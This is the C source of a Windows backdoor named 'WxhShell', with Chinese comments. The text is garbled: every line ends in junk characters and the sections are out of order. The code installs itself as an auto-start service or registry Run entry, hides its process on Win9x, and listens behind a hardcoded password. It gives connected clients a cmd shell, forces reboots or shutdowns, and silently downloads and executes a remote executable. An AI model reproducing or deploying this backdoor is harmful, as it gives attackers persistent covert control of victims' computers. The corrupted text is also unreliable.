    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J24H}^~na  
    if(Boot(SHUTDOWN)) wyv%c/WlS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]}nX$xy  
    else { (z X&feq  
    closesocket(wsh); C<N7zMwT  
    ExitThread(0); Px?0)^"2  
    } 0<]]q[pr  
    break; -d6PXf5  
    } ]0 ;,M  
  // 获取shell G3de<?K.[V  
  case 's': { eLk:">kj  
    CmdShell(wsh); }~! D]/B  
    closesocket(wsh); D?r% Y  
    ExitThread(0); $TavvO%#  
    break; 'o-J)+oa  
  } UUxP4  
  // 退出 n2&M?MGX  
  case 'x': {  A}n7A   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?f=7F %  
    CloseIt(wsh); XC\'8hL:  
    break; ~JohcU}d  
    } ]H=P(Z -  
  // 离开 _)^`+{N<  
  case 'q': { ;e\K8*o  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); IYB;X  
    closesocket(wsh); }r:8w*4 7  
    WSACleanup(); ~D! Y] SK  
    exit(1); K?,`gCN}v  
    break; Hv|(V3-  
        } {fu[&@XV  
  } ufS0UD8%H  
  } hPrE  
a}7P:e*u  
  // 提示信息 r8[Ywn <u  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eHH9#Vrhc$  
} gO m%?sg  
  } UQCond+K  
*AA78G|  
  return; fDZnC Fa  
} fh@/fd  
u&$1XZ!es  
// shell模块句柄 >2;KPV0H  
int CmdShell(SOCKET sock) G>W:3y  
{ Q?-uJ1J  
STARTUPINFO si; scR+F'M  
ZeroMemory(&si,sizeof(si)); 6G>bZ+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Tg6nb7@P  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zjwo"6c>  
PROCESS_INFORMATION ProcessInfo; 8'Q1'yc  
char cmdline[]="cmd"; -/J2;AkGH  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *uMtl'  
  return 0; rOXh?r  
} $ 7uxReFZR  
S-G#+ Ue2  
// 自身启动模式 Z n]e2  
int StartFromService(void) szD BfGd%j  
{ 8Nxyc>8K~  
typedef struct *G;D u`;  
{ dV+GWJNNE  
  DWORD ExitStatus; W^dRA xVX  
  DWORD PebBaseAddress; dF0:'y  
  DWORD AffinityMask; }t5pz[zl  
  DWORD BasePriority; }#9 |au`  
  ULONG UniqueProcessId; `pYL/[5  
  ULONG InheritedFromUniqueProcessId; 3Tr}t.mt  
}   PROCESS_BASIC_INFORMATION; ,:"c"   
KPs @v@5M  
PROCNTQSIP NtQueryInformationProcess; )\,hc$<=m  
d,%@*v]S  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S3_QOL  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u^&,~n@n7  
4L[-[{2  
  HANDLE             hProcess; v@ OM  
  PROCESS_BASIC_INFORMATION pbi; _c6 zzGtH  
=s[P =dU  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {$^Lb4O[V  
  if(NULL == hInst ) return 0; ?&r >`H E  
vA, tW,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "AMsBvzgo  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bL18G(5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &?B\(?*  
)J!=X`b  
  if (!NtQueryInformationProcess) return 0; 407;M%?'A  
T|lyjX$Q]9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zd#/zUPI  
  if(!hProcess) return 0; h OF>Dj  
Y%]&h#F  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Cr%6c3aQ  
"Kt[jV;6  
  CloseHandle(hProcess); 8??%H7~  
qGc>+!y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); DSx D531[A  
if(hProcess==NULL) return 0; 7(bE;(4  
3 Ho<4_I,  
HMODULE hMod; t!}?nw%$  
char procName[255]; Y4n; [nHQ(  
unsigned long cbNeeded; .%N*g[J  
ppo\cy;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); OX/}j_8E^(  
OPwO`pN  
  CloseHandle(hProcess); Oz_|pu  
3ZU<u;  
if(strstr(procName,"services")) return 1; // 以服务启动 &y=~:1&f  
"M5&&\uT  
  return 0; // 注册表启动 Og3bV_,"  
} (_O_zu8_  
9:jZ3U  
// 主模块 mbRN W  
int StartWxhshell(LPSTR lpCmdLine) B$cx '_zF  
{ >QM$ NIf@  
  SOCKET wsl; wXxk+DV@  
BOOL val=TRUE; ~",,&>#[K  
  int port=0; )t$|'c}  
  struct sockaddr_in door; dsJHhsu6  
Uw5`zl  
  if(wscfg.ws_autoins) Install(); ^YG.eT6iG  
Ws(#ThA  
port=atoi(lpCmdLine); 3Q"4-pd  
k,nRC~Irh  
if(port<=0) port=wscfg.ws_port; K# dV.  
0q ^dpM  
  WSADATA data; Zf%6U[{ T  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;qT7BUh(%  
[{!5{k!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1p9+c~4l:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }];_ug* "  
  door.sin_family = AF_INET; ="*8ja-K  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); O;*.dR  
  door.sin_port = htons(port);  p%6j2;D  
t'0dyQ%u  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `[5QouPV  
closesocket(wsl); sj?7}(s  
return 1; +#!! 'XP  
} 5=--+8[ bV  
lj!f\C}d  
  if(listen(wsl,2) == INVALID_SOCKET) { ;{Kx$Yt+  
closesocket(wsl); i%)Nn^a;T  
return 1; ?5L.]Isa5  
} [1*3 kt*h  
  Wxhshell(wsl); W!BIz&SY:-  
  WSACleanup(); X%._:st  
^J=l]  l  
return 0; xPi/nWl`|  
`?ijKZ}y5  
} U:.  
@n##.th  
// 以NT服务方式启动 /hMD Me  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'M#'BQQ5  
{ |VL(#U  
DWORD   status = 0; Q+\?gU]  
  DWORD   specificError = 0xfffffff; ^#4?v^QNh  
?#LbhO*   
  serviceStatus.dwServiceType     = SERVICE_WIN32; gqRwN p  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )R2BTE:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kt;| $  
  serviceStatus.dwWin32ExitCode     = 0; R)w|bpW  
  serviceStatus.dwServiceSpecificExitCode = 0; B^SD5  
  serviceStatus.dwCheckPoint       = 0; V3u[{^^f  
  serviceStatus.dwWaitHint       = 0; ~e<v<92Xu  
'B>%5'SdD  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); p ft6 @ 'q  
  if (hServiceStatusHandle==0) return; |[VtYV _{  
>"Z^8J  
status = GetLastError(); bstc|8<  
  if (status!=NO_ERROR) 6h|@Bz/A  
{ r%g?.4o*b  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +0Rr5^8u  
    serviceStatus.dwCheckPoint       = 0; 0/."R ;  
    serviceStatus.dwWaitHint       = 0; oiq7I@Y`x  
    serviceStatus.dwWin32ExitCode     = status; j:9kJq>mv  
    serviceStatus.dwServiceSpecificExitCode = specificError; < g<Lf[n$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0} UJP   
    return; {<HL}m@kQ  
  } ;$y(Tvd;  
lFNf/j^Z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; heliL/  
  serviceStatus.dwCheckPoint       = 0; >k?/'R  
  serviceStatus.dwWaitHint       = 0; /IS j0"/$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?N,'1I  
} 38%xB<Y  
jy] hP?QG  
// 处理NT服务事件,比如:启动、停止 Dm j^aFB0|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) F-)lRGw  
{ < }3c%Q1  
switch(fdwControl) L$GhM!c  
{ yVyh'd:Ik  
case SERVICE_CONTROL_STOP: M[ (mH(j  
  serviceStatus.dwWin32ExitCode = 0; ,HEx9*E/s  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; s9<fPv0w  
  serviceStatus.dwCheckPoint   = 0; U3+{!}gn  
  serviceStatus.dwWaitHint     = 0; ~O)Uz|  
  { .3%eSbt0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :Gh* d)  
  } rdsm /^,s  
  return; uw@z1'D[i"  
case SERVICE_CONTROL_PAUSE: n2Oi< )  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; HN\Zrb  
  break; >o=3RB=Fh  
case SERVICE_CONTROL_CONTINUE: _be*B+?2t  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6}.B2f9  
  break; Ds$8$1=L=k  
case SERVICE_CONTROL_INTERROGATE: Hut au^l  
  break; zn T85#]\@  
}; "-4V48ci  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 66?!"w  
} mAFqA  
,uD F#xjl,  
// 标准应用程序主函数 2roPZj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) x+vNA J  
{ qwu++9BM  
^A^,/3  
// 获取操作系统版本 r3l}I 6  
OsIsNt=GetOsVer(); _dj< xPO  
GetModuleFileName(NULL,ExeFile,MAX_PATH); jGzs; bE  
*J!oV0#1  
  // 从命令行安装 G qI^$5?  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2hV#3i  
{4 !%'~  
  // 下载执行文件 O~g _rcG  
if(wscfg.ws_downexe) { Tv<iHHp  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) AC=cz!3iB  
  WinExec(wscfg.ws_filenam,SW_HIDE); \^kyC1  
} ^lT$D8  
<0T4MR7  
if(!OsIsNt) { (}fbs/8\p  
// 如果时win9x,隐藏进程并且设置为注册表启动 )p"37Ct?  
HideProc(); TRrO-  
StartWxhshell(lpCmdLine); .9Bimhc6K  
} e0HG"z4  
else V; 1r  
  if(StartFromService()) rm>;B *;  
  // 以服务方式启动 v#.FK:u}  
  StartServiceCtrlDispatcher(DispatchTable); 36JVnW;  
else BbZ-dXC<  
  // 普通方式启动 D>,]EE-  
  StartWxhshell(lpCmdLine); H*3f8A&@s  
,~FyC_%*  
return 0; 5+GW% U/  
} V-CPq  
!W/Og 5n  
$Trkow%F]  
0k>NuIIP  
=========================================== J={$q1@lq  
{a9Z<P  
??{(.`}R~  
-8qLshQ  
9Ps:]Kp!vN  
fcb:LPk;  
" yw5MlZ4P=  
{o7ibw=E)  
#include <stdio.h> h[3N/yP  
#include <string.h> c6s*u%+},  
#include <windows.h> "uCx.Q9 ef  
#include <winsock2.h> T1;yw1/m5\  
#include <winsvc.h> B_M)<Ad  
#include <urlmon.h> .G1NY1\  
$Vbgfp~U-  
#pragma comment (lib, "Ws2_32.lib") 673v  
#pragma comment (lib, "urlmon.lib") dY/=-ymW  
Y>EwU  
#define MAX_USER   100 // 最大客户端连接数 q|om^:n.  
#define BUF_SOCK   200 // sock buffer ]c+qD,wqt>  
#define KEY_BUFF   255 // 输入 buffer <"/Y`/  
E8=.TM]L  
#define REBOOT     0   // 重启 %p"x|e  
#define SHUTDOWN   1   // 关机 '/SMqmi  
SxC$EQ gL  
#define DEF_PORT   5000 // 监听端口 DTN@b!  
N7%Jy?-+  
#define REG_LEN     16   // 注册表键长度 bXc7$5(!VB  
#define SVC_LEN     80   // NT服务名长度 7i~::Z <  
GY<Y,  
// 从dll定义API *-Y77p7u  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); WDKj)f9cy  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); e}f!zA  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,]~iIoTi  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6-gxba  
79uL"N;  
// wxhshell配置信息 hT^6Ifm  
struct WSCFG { QY-P!JD  
  int ws_port;         // 监听端口 >Fz_]z   
  char ws_passstr[REG_LEN]; // 口令 NaG1j+LN  
  int ws_autoins;       // 安装标记, 1=yes 0=no ZP*Hx %U  
  char ws_regname[REG_LEN]; // 注册表键名 SS O$.rp  
  char ws_svcname[REG_LEN]; // 服务名 z]Z>+|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5wRDH1z@{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >9F,=63A  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 DyG3|5s1R  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8;p6~&).C~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" uwQ{y>SG  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !li Q;R&  
O~9 %!LAu  
}; 6YrkS;_HS  
.Q?cNSWU  
// default Wxhshell configuration 5)V J  
struct WSCFG wscfg={DEF_PORT, )& %X AW{  
    "xuhuanlingzhe", [f.[C5f%"'  
    1, (p68Qe%OuG  
    "Wxhshell", Q0,]Q ]_  
    "Wxhshell", -a]oN:ERb  
            "WxhShell Service", O\XN/R3  
    "Wrsky Windows CmdShell Service", ,y,NVF  
    "Please Input Your Password: ", VGM8&J{o'  
  1, h -+vM9j  
  "http://www.wrsky.com/wxhshell.exe", !zvKl;yT  
  "Wxhshell.exe" it5].A&  
    }; r3hj GcpaX  
HvK<>9  
// 消息定义模块 ;yY>SaQ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3A4?9>g)KU  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Jm\'=#U#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !V Zl<|  
char *msg_ws_ext="\n\rExit."; joAR;J  
char *msg_ws_end="\n\rQuit."; vC$[Zm  
char *msg_ws_boot="\n\rReboot..."; 5IBe;o  
char *msg_ws_poff="\n\rShutdown..."; D._q'v<  
char *msg_ws_down="\n\rSave to "; 9O?.0L  
~{*FjZ`h  
char *msg_ws_err="\n\rErr!"; M=x/PrY"R  
char *msg_ws_ok="\n\rOK!"; pJVzT,poh  
^;c!)0Q<Z  
char ExeFile[MAX_PATH]; ]$4k+)6  
int nUser = 0; t}qoIxy)  
HANDLE handles[MAX_USER]; Io5-[d  
int OsIsNt; | 3!a=  
\5k[ "8~  
SERVICE_STATUS       serviceStatus; JnmJN1@I  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; nC qUg_{D  
my[)/'  
// 函数声明 niFX8%<hP  
int Install(void); UALwr>+VJ  
int Uninstall(void); WA8Qt\Q  
int DownloadFile(char *sURL, SOCKET wsh); 6WgGewn  
int Boot(int flag); jkFS=eonK  
void HideProc(void); >wdR4!x!?  
int GetOsVer(void); `{N0+n  
int Wxhshell(SOCKET wsl); ZJ 8~f  
void TalkWithClient(void *cs); W.-[ceM  
int CmdShell(SOCKET sock); <!Nj2>  
int StartFromService(void); rV"<1y:g  
int StartWxhshell(LPSTR lpCmdLine); ,@/b7BVv  
`U#*O+S-^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2l{g$44  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "T<Q#^m  
|5Mhrb4.  
// 数据结构和表定义 3:Y ZC9  
SERVICE_TABLE_ENTRY DispatchTable[] = R6h(mPYA  
{ 8PDt 7 \  
{wscfg.ws_svcname, NTServiceMain}, 9&g//JlD  
{NULL, NULL} s IY`H^  
}; 'vhgR2/  
Ua,Lg.z  
// 自我安装 ]B:g<}5$4  
int Install(void) p;"pTGoW i  
{ E&#AX:  
  char svExeFile[MAX_PATH]; R4_4FEo  
  HKEY key; w-AF5%gX  
  strcpy(svExeFile,ExeFile); m%+W{N4Wb  
0 4x[@f`  
// 如果是win9x系统,修改注册表设为自启动 C^aP)& qt  
if(!OsIsNt) { Cl6y:21]K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1 [[` ^v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u<]-%ha$  
  RegCloseKey(key); TCX*$ac"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &0It"17Ej  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 69!J' kM[  
  RegCloseKey(key); eq<xO28z  
  return 0; "k)( ,  
    } zM|d9TS  
  } tU}CRh  
} `D>PU@s$nT  
else { b DeHU$  
TixH Ehw  
// 如果是NT以上系统,安装为系统服务 gkI(B2,/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); mSY;hJi  
if (schSCManager!=0) g*N~r['dZ  
{ NC>rZS]  
  SC_HANDLE schService = CreateService X<x"\Yk  
  ( @r%[e1.  
  schSCManager, ;? '`XB!  
  wscfg.ws_svcname, %q;3b fq@N  
  wscfg.ws_svcdisp, R."<he ;  
  SERVICE_ALL_ACCESS, [kt!\-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9Y&n$svB  
  SERVICE_AUTO_START,  fv5'Bl  
  SERVICE_ERROR_NORMAL,  w+=>b  
  svExeFile, ;'`T  
  NULL, [`Ol&R4k  
  NULL, W% YJ.%I  
  NULL, !?D PI)  
  NULL, 4+:Q"  
  NULL );kO2 7dg  
  ); 2Y(P hw2%  
  if (schService!=0) ~x)Awdlu  
  { QjWv?tm  
  CloseServiceHandle(schService); 7Wmk"gp  
  CloseServiceHandle(schSCManager); z[M LMf[c  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .6z#o{n  
  strcat(svExeFile,wscfg.ws_svcname); czi$&(N0w$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %ErL L@e  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); L Bb&av  
  RegCloseKey(key); qx18A  
  return 0; 8+k\0fmy  
    } MSUkCWt!  
  } (Q o  
  CloseServiceHandle(schSCManager); [D[s^<RJs  
} 4rO07)~l  
} >DBaKLu\  
]ctUl #j  
return 1; ]!d #2(  
} S:v]3G  
>~){KV1~  
// 自我卸载 R56:}<Y,  
int Uninstall(void) >)R7*^m{'  
{ IiHl"2+/  
  HKEY key; beRpA;  
B[Fx2r`0  
if(!OsIsNt) { R^iF^IB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M9.jJf  
  RegDeleteValue(key,wscfg.ws_regname); H1yl88K  
  RegCloseKey(key); r,(rWptf4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 89v9BWF  
  RegDeleteValue(key,wscfg.ws_regname); e4b`C>>  
  RegCloseKey(key); 6H+gFXIv  
  return 0; [M65T@v  
  }  \U(qv(T  
} Zgkk%3'^'  
} %{!*)V\  
else { \EuMzb"G9p  
/csj(8^w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G#t!{Q}8  
if (schSCManager!=0) !o+#T==p  
{ 8L`J](y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qZ'&zB)  
  if (schService!=0) jAB~XaT,  
  { H5'/i;  
  if(DeleteService(schService)!=0) { a x4V(  
  CloseServiceHandle(schService); %D< =6suW  
  CloseServiceHandle(schSCManager); 1Jg&L~Ws"  
  return 0; F.i*'x0u  
  } wHq*)7#h#  
  CloseServiceHandle(schService); >B<jR$`6@  
  } W&#Ps6)8  
  CloseServiceHandle(schSCManager); [#`)Bb&w  
} g VX  
} bCHJLtDQ  
-`sK?*[{J  
return 1; % 3d59O  
} xa5^h]o   
sgu#`@o  
// 从指定url下载文件 HJ?p,V q5_  
int DownloadFile(char *sURL, SOCKET wsh) 9gVu:o 1/  
{ v^1_'P AXu  
  HRESULT hr; k%YvJXL  
char seps[]= "/"; ShbW[*5  
char *token; V]dzKNFi  
char *file; Clr~:2g\  
char myURL[MAX_PATH]; ?9'Ukw` g  
char myFILE[MAX_PATH]; Xb6X'rY  
=Y Je\745  
strcpy(myURL,sURL); h}r.(MVt  
  token=strtok(myURL,seps); U2 m86@E  
  while(token!=NULL) LfOXgn\  
  { B*!{LjXV  
    file=token; o9& 1Ct  
  token=strtok(NULL,seps); hC2@Gq  
  } m%hI@'  
d#xi_L!  
GetCurrentDirectory(MAX_PATH,myFILE); _Cn[|E  
strcat(myFILE, "\\"); zO)A_s.6K  
strcat(myFILE, file); 0`VA} c  
  send(wsh,myFILE,strlen(myFILE),0); Mhp6,JL  
send(wsh,"...",3,0); 3]"RaI4Q0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); V<:scLm#OF  
  if(hr==S_OK) wXI6KN-  
return 0; +NWhvs  
else '0|0rwx  
return 1; xo3bY6<n  
3}*)EC  
} 8 :B(}Y4K  
*{[jO&& J  
// 系统电源模块 Hj\>&vMf  
int Boot(int flag) KnK8\p88\  
{ kEiWE|  
  HANDLE hToken; uflRW+-2  
  TOKEN_PRIVILEGES tkp; Mtxn@m{i;"  
x.W93e[]H  
  if(OsIsNt) { ;U$Fz~rJ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4+46z|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); n1n->l*HGP  
    tkp.PrivilegeCount = 1; s\&qvL1D  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }\Kki  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ukNB#2 "  
if(flag==REBOOT) { .rpKSf.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) is`O,Met  
  return 0; :+Ti^FF`w  
} r0jhIE#  
else { rUgTJx&ds  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) T7+_/ Qh  
  return 0; "A?&`}%  
} K6 D3  
  } kq +`.  
  else { p+6L qk<  
if(flag==REBOOT) { P(h[QAM  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) BO]}E:C9  
  return 0; e+416 ~X v  
} X'[93 C|K  
else { -aj) _.d  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3s25Rps  
  return 0; h|m>JDxn  
} \ k&(D*u  
} o+-G@ 16  
Nr6[w|Tzd  
return 1; oY Y?`<N#  
} e:2e5gz  
3pQ^vbQ"  
// win9x进程隐藏模块 y?Vsp<  
void HideProc(void) 1=NP=ZB  
{ ; (0<5LQ  
+E5EOo{ `|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); W[ZW=c  
  if ( hKernel != NULL ) 2g'o5B\ *  
  { /D@(o`a  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N5m+r.<;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); x ,LQA0  
    FreeLibrary(hKernel); 0=g~ozEW&  
  } P[q`{TdV  
"WPFZw:9  
return; 7l+>WB_]  
} %N.qu_,IZ  
+2&+Gh.h  
// 获取操作系统版本 +,wCV2>\3  
int GetOsVer(void) (zv)cw%  
{ (>.+tq}  
  OSVERSIONINFO winfo; C{g Y*+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pXL@&]U+  
  GetVersionEx(&winfo); b Ag>;e(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j=>:{`*c  
  return 1; ;~nz%L J  
  else svT1b'=\$I  
  return 0; Gh.@l\|tf  
} 7|vB\[s  
Y#[Wv1hi  
// 客户端句柄模块 A08b=S  
int Wxhshell(SOCKET wsl) FEoH$.4  
{ ;_]Z3  
  SOCKET wsh; e3YdHp  
  struct sockaddr_in client; I{rW+<)QGC  
  DWORD myID; Wa{()Cz  
85fv])\y  
  while(nUser<MAX_USER) E 0k1yA  
{ 7E 4Xvg+c  
  int nSize=sizeof(client); !`UHr]HJ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .WeP]dX%:f  
  if(wsh==INVALID_SOCKET) return 1; o>G^)aRa  
)'pc1I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?A]@$  
if(handles[nUser]==0) >R&=mo~  
  closesocket(wsh); N7}Y\1-8  
else 6e%|.}U  
  nUser++; ]E8S`[Vn  
  } yEvuTgDv  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); DnY7$']"|  
(txr%Z0E  
  return 0; 9gS.G2  
} B^{87YR  
J3;dRW  
// 关闭 socket w =MZi=p  
void CloseIt(SOCKET wsh) R3`Rrj Z  
{ orU++,S4Pm  
closesocket(wsh); \Gzo^w  
nUser--; Gb?O-z%8*  
ExitThread(0); ww0m1FzX  
} ^Ko{#qbl/  
>mWu+Nn:  
// 客户端请求句柄 n-%8RV  
void TalkWithClient(void *cs) !uno!wUIYd  
{ `;'fCO!  
slV7,4S&!  
  SOCKET wsh=(SOCKET)cs; y%9Q]7&=  
  char pwd[SVC_LEN]; qrq9NPf  
  char cmd[KEY_BUFF]; P2Or|_z  
char chr[1]; KR4vcI[4  
int i,j; tOu:j [  
E#cW3\)  
  while (nUser < MAX_USER) { ^mNPP:%iN  
:zL.dJwa  
if(wscfg.ws_passstr) { ":o1g5?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fUJ\W"qya  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KPT@I3P  
  //ZeroMemory(pwd,KEY_BUFF); p]7Gj &a  
      i=0; ;4g_~fB  
  while(i<SVC_LEN) { &R'%OFi  
TLkJZ4}?Q  
  // 设置超时 1.5lJ:[G  
  fd_set FdRead; ' YONRha  
  struct timeval TimeOut; tFYIKiq2  
  FD_ZERO(&FdRead); $S|2'jc  
  FD_SET(wsh,&FdRead); 8/4Gr8 o  
  TimeOut.tv_sec=8; aD5G0d?u  
  TimeOut.tv_usec=0; X?F$jX|c  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); uy,ySBY  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /_,} o7@t~  
_z3Hl?qk=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5xEk 7g.  
  pwd=chr[0]; iN}BMd.U  
  if(chr[0]==0xd || chr[0]==0xa) { <_|H]^o  
  pwd=0; bnWKfz5  
  break; /@*J\0h(-  
  } O>![IH(L  
  i++; 0M?nXHA[  
    } vGk}r  
!Qg%d&q.Sx  
  // 如果是非法用户,关闭 socket ;[_w&"[6a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )~](qLSl  
} ^1%gQ@P  
M?UlC   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p2=Sbb  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1qs~[7{C1  
$=97M.E  
while(1) { Qbc62qFu!  
L-ZJ[#D  
  ZeroMemory(cmd,KEY_BUFF); EmDA\9~@R  
mQ9%[U,  
      // 自动支持客户端 telnet标准   wFW2m  
  j=0; Efb S*f5  
  while(j<KEY_BUFF) { P7Th 94  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VH{SE7  
  cmd[j]=chr[0]; y %k`  
  if(chr[0]==0xa || chr[0]==0xd) { '(/ZJ88JP  
  cmd[j]=0; ,H3C\.%w\  
  break; ,]N!I%SI  
  } SZ9xj^"g  
  j++; `;^%t  
    } @UO=)PxN3  
Z {ntF  
  // 下载文件 Cf_Ik  
  if(strstr(cmd,"http://")) { aBM'ROQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #"M 'Cs  
  if(DownloadFile(cmd,wsh)) C/P,W>8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {C%/>e2-%  
  else S|A?z)I  
